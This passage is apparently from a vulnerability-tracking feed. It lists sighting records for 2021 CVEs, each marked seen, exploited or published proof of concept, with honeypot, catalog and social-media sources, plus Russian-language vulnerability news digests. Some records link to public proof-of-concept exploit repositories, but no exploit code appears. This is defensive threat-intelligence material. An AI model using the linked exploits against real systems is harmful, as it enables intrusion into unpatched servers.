"ec5d2c72-ced3-47e8-848c-10ba682abd81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-21)", "content": "", "creation_timestamp": "2026-05-21T00:00:00.000000Z"}, {"uuid": "a34a3cc0-8e8b-4b62-9a14-5e7b378f7170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "exploited", "source": "https://t.me/sysadm_in_up/622", "content": "Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021\u201328482) | by Jang | Apr, 2021 | Medium\nhttps://testbnull.medium.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f\n\nPoC\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-08-05T00:00:55.361839Z"}, {"uuid": "9425df4a-029f-4fa9-a978-f16e119bc58e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "30b0c9d7-1c2d-428c-a4c6-88405f1ad621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-05)", "content": "", "creation_timestamp": "2026-06-05T00:00:00.000000Z"}, {"uuid": "f035e90c-41b9-4a50-b16f-819148b8ab09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/onelab1337/1225", "content": "https://github.com/lntrx/CVE-2021-28663", "creation_timestamp": "2026-08-09T05:02:33.162905Z"}, {"uuid": "3e92cd55-713f-4894-a2f9-5c5ddb1b3c46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/onelab1337/1225", "content": "https://github.com/lntrx/CVE-2021-28663", "creation_timestamp": "2026-08-10T00:00:10.624684Z"}, {"uuid": "5e6e7787-8817-460b-b6f3-231658752f7c", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6a184729-f0e0-4936-8fb5-caa810846f62", "content": "", "creation_timestamp": "2026-06-19T12:47:51.175603Z"}, {"uuid": "baff513a-217d-44db-bc5d-836513ca32f6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/40d86d70-96bc-4223-bb38-0ffd84ae474c", "content": "", "creation_timestamp": "2026-06-19T12:47:57.001705Z"}, {"uuid": "dcc87527-506b-4d48-88c2-e112e3609dd1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/83358564-2c85-4b1f-ad87-8c046ba0ac0a", "content": "", "creation_timestamp": "2026-06-19T12:45:51.774146Z"}, {"uuid": "58ed7b76-4b37-4b9c-b221-7d26adaa4a26", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d03960d5-0e9e-4edb-af2e-69e8c4893036", "content": "", "creation_timestamp": "2026-06-19T12:47:20.438346Z"}, {"uuid": "b77ed85d-650d-4963-9200-25edacea7bb4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8eb4b66c-1560-49e4-873d-cc581b609330", "content": "", "creation_timestamp": "2026-06-19T12:47:57.106289Z"}, {"uuid": "9f4e052e-1afd-41a5-a72f-68ad77aafe86", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/40f19346-aeb9-4e0b-8e94-798c22a02503", "content": "", "creation_timestamp": "2026-06-19T12:47:53.957526Z"}, {"uuid": "2ced485f-027a-4830-971f-9756b93e7f22", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8774cf8f-1eb8-4ea5-a364-1eb0c312f10b", "content": "", "creation_timestamp": "2026-06-23T14:03:18.123315Z"}, {"uuid": "7567f6ba-400e-4abb-bb94-e1328f9d5182", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/25636d25-33e9-4b6e-ac65-ccf7ce8558a4", "content": "", "creation_timestamp": "2026-06-23T14:04:46.397027Z"}, {"uuid": "0db397ef-cedf-4215-b120-a8a4c7cd4088", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/02e7a47c-ada4-4fa9-a814-cfe61e0f00ec", "content": "", "creation_timestamp": "2026-06-23T14:04:49.788463Z"}, {"uuid": "1bd6d638-8e74-444d-9489-bb7268464cdf", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/03193b7b-f5bc-4bef-8b3b-28fadfc1d0a3", "content": "", "creation_timestamp": "2026-06-23T14:04:46.476472Z"}, {"uuid": "54c92ca8-3723-4559-bb91-c09c92c982eb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7cddd0da-b01b-4c29-9c27-4b74caa6e091", "content": "", "creation_timestamp": "2026-06-23T14:04:36.335695Z"}, {"uuid": "f2197360-e4c8-4218-891d-9ba41034ea78", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e5397be0-4029-4e3d-a7f4-5acd55268011", "content": "", "creation_timestamp": "2026-06-23T14:05:16.773547Z"}, {"uuid": "efd69da0-e0b2-4155-b6a3-1247cf881297", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28149", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4e7e0450-4ada-4828-9018-51fe5dcb7d18", "content": "", "creation_timestamp": "2026-06-23T14:06:18.893053Z"}, {"uuid": "56342df1-896d-4d3a-a401-34bbed0bf9cb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28150", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e333285a-d59b-4492-990b-c1d14841c105", "content": "", "creation_timestamp": "2026-06-23T14:06:18.959247Z"}, {"uuid": "2adc8657-c09f-4102-b684-5334038aaa6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:15:07.550611Z"}, {"uuid": "ad0a84a9-124d-4529-8fe6-fdb20ceceae1", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28151", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8f546b0f-47a6-4a3a-a5b4-6332a37b3a6b", "content": "", "creation_timestamp": "2026-06-30T09:22:45.946455Z"}, {"uuid": "0d1d3175-892b-47f8-92f4-2ab08fa0e266", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5388cdd5-2363-4b7c-a33e-851e8b3c31fb", "content": "", "creation_timestamp": "2026-06-30T09:22:55.329055Z"}, {"uuid": "ccab390a-d2bc-4964-97bb-4707d3394172", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28149", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/439cfc4f-8c8a-4dc1-ad4b-1af056a3f9c7", "content": "", "creation_timestamp": "2026-06-30T09:23:54.325938Z"}, {"uuid": "de467f9b-4f3c-4172-a3dc-1523b9775862", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-28150", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a0453ab0-eb34-4777-95e0-ad56fa32b9b9", "content": "", "creation_timestamp": "2026-06-30T09:23:56.561372Z"}, {"uuid": "dff1f9eb-286c-4aea-9594-ec0b7292901a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28927", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpwyiouca52i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-28927 \u0432 RetroArch: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/54279155-B690-4B09-AB01-F0A23B760CC9", "creation_timestamp": "2026-07-06T01:58:45.837656Z"}, {"uuid": "a92c386f-108e-4a86-9501-6019b57956ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28936", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpwzjnwluo2g", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-28936 \u0432 WiFi-\u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0435 Acexy: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/09EE0704-80AD-4099-ACE3-10CB81AA335C", "creation_timestamp": "2026-07-06T02:17:12.718819Z"}, {"uuid": "373f0156-ab22-485f-b5c8-d09bc4f88166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28830", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq2uzbm53s2i", "content": "\ud83d\udccc CVE-2021-28830 - The TIBCO Spotfire Server and TIBCO Enterprise Runtime for R components of TIBCO Software Inc.'s TIBCO Enterprise Runtime for R - Server Edition, TIBC... https://www.cyberhub.blog/cves/CVE-2021-28830", "creation_timestamp": "2026-07-07T15:07:06.597152Z"}, {"uuid": "9984fce6-0c6d-40ca-a6d1-a36c5499c604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "Telegram/faoHppRwIlCS4bU-FDor__3oyE0-orUb1-sGk1UcKelvuA", "content": "", "creation_timestamp": "2026-07-09T23:00:03.437393Z"}, {"uuid": "4aabf9b6-40b9-404f-99a3-a3e5867d69b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "Telegram/faoHppRwIlCS4bU-FDor__3oyE0-orUb1-sGk1UcKelvuA", "content": "", "creation_timestamp": "2026-07-10T00:00:10.917916Z"}, {"uuid": "68dce353-192f-45ef-a89d-f1236a114014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/fad396ea-c38c-4e15-a3e2-134eac72edc3", "content": "", "creation_timestamp": "2026-07-11T06:15:04.370117Z"}, {"uuid": "5210e9f4-aa5b-4e2d-b130-66a9a9b408b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "Telegram/faoHppRwIlCS4bU-FDor__3oyE0-orUb1-sGk1UcKelvuA", "content": "", "creation_timestamp": "2026-07-11T09:00:05.277380Z"}, {"uuid": "40290a96-2135-4e56-9925-1c7858c1081b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "Telegram/faoHppRwIlCS4bU-FDor__3oyE0-orUb1-sGk1UcKelvuA", "content": "", "creation_timestamp": "2026-07-12T00:00:55.376054Z"}, {"uuid": "b8e1092c-2f3a-48cc-a52a-b26698ef5c32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "seen", "source": "MISP/fad396ea-c38c-4e15-a3e2-134eac72edc3", "content": "", "creation_timestamp": "2026-07-12T00:15:03.025247Z"}, {"uuid": "63647f1a-ba10-420a-84c7-5a2b828d9132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28235", "type": "seen", "source": "Telegram/43iTBnXrMXWinJKk3NF4ciLtqjqRzzWpFXhZUpc74NxoDe4", "content": "", "creation_timestamp": "2026-07-16T19:00:12.632615Z"}, {"uuid": "949ea840-0fa6-43df-8395-bbafd3f8fb4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28235", "type": "seen", "source": "Telegram/43iTBnXrMXWinJKk3NF4ciLtqjqRzzWpFXhZUpc74NxoDe4", "content": "", "creation_timestamp": "2026-07-17T00:00:28.149494Z"}, {"uuid": "62097a33-4e0c-4816-a3a3-9d4a3bfbac80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28235", "type": "published-proof-of-concept", "source": "Telegram/43iTBnXrMXWinJKk3NF4ciLtqjqRzzWpFXhZUpc74NxoDe4", "content": "", "creation_timestamp": "2026-07-18T00:00:44.099988Z"}, {"uuid": "fc32932c-68f9-4946-8c97-de8aa1a072ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/bin_z0ne/406", "content": "\u00ab\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0431\u0435\u0433\u0435\u043c\u043e\u0442 \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b\u00bb \u2014 \u043d\u0435\u0442, \u044d\u0442\u043e \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430, \u0430 \u043f\u043e\u0434\u0432\u043e\u0434\u043a\u0430 \u043a \u0448\u0435\u0441\u0442\u043e\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u043e\u0442 \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u041f\u043e\u0435\u0445\u0430\u043b\u0438\ud83d\udd25\n\nHiveNightmare \u2014 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043a\u043e\u0448\u043c\u0430\u0440 \n\n\u0412 Windows 10 \u0438 11 \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Hivenightmare, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u0420\u0435\u0447\u044c \u043e CVE-2021-36934, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043b\u0435\u0437\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0435\u0441\u0442\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \n\n\u0418 \u0435\u0449\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e \u0431\u0440\u0435\u0448\u0430\u0445 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows\n\nPetitPotam (\u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0431\u0435\u0433\u0435\u043c\u043e\u0442) \u2014 \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u0437 \u0424\u0440\u0430\u043d\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f PetitPotam, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0434\u043e\u043c\u0435\u043d\u0430\u043c\u0438 Windows, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0433\u0440\u0443\u043f\u043f\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u044b \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445.\n\nRCE \u0432 Microsoft SharePoint\n\n\u0420\u0435\u0447\u044c \u043e CVE-2021-28474. \u041f\u0440\u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0430\u0439\u0442\u0430 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 SharePoint. \n\n\u0423\u043a\u0440\u0430\u0434\u0438 \u043d\u043e\u0443\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438\n\n\u041e\u0442\u0432\u043b\u0435\u0447\u0435\u043c\u0441\u044f \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0438\u0437 Dolos Group \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442: \u043e\u043d\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043d\u043e\u0443\u0442 \u0441\u0432\u043e\u0435\u0433\u043e \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043a\u0430\u043a \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0435\u0442\u044c. \u042d\u0442\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0432\u043f\u043e\u043b\u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0434\u0430\u0436\u0435 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0433\u043e \u044f\u0449\u0438\u043a\u0430.\n\n\u0425\u0430\u043a\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0441\u0438\u0445\u0430\u043d\u0443\u043b\n\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0432\u0430\u043d\u0442\u044e\u0440\u0435: \u0445\u0430\u043a\u0435\u0440 \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 Poly Network \u0438 \u043f\u043e\u0445\u0438\u0442\u0438\u043b \u043a\u0440\u0438\u043f\u0442\u0443 \u043d\u0430 600 \u043c\u043b\u043d \u0434\u043e\u043b\u043b. \u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043d \u043d\u0430\u0447\u0430\u043b \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u043e\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0442 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u044f \u0432 500 \u0442\u044b\u0441. \u0434\u043e\u043b\u043b. \u0413\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b \u044d\u0442\u043e \u0438\u0437 \u0441\u043f\u043e\u0440\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430.\n\n#threatzonenews", "creation_timestamp": "2026-07-25T03:00:03.648691Z"}, {"uuid": "786f4619-1fa9-4cf8-8592-b5ddb6a90dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28447", "type": "seen", "source": "https://t.me/bin_z0ne/395", "content": "\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 2021 \u0433. \u043d\u0430\u0448 \u043a\u043e\u043b\u043b\u0435\u0433\u0430 \u041c\u0430\u043a\u0441 \u0421\u0443\u0445\u0430\u043d\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0435 \u041e\u0421 Windows: CVE-2021-28447 \u0438 CVE-2021-27094. \u041e\u043d\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0430, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b Early Launch Anti-Malware (ELAM), \u043d\u0435 \u043f\u043e\u0432\u043b\u0438\u044f\u0432 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\nELAM \u2014 \u044d\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0440\u0443\u0442\u043a\u0438\u0442\u043e\u0432 \u0438 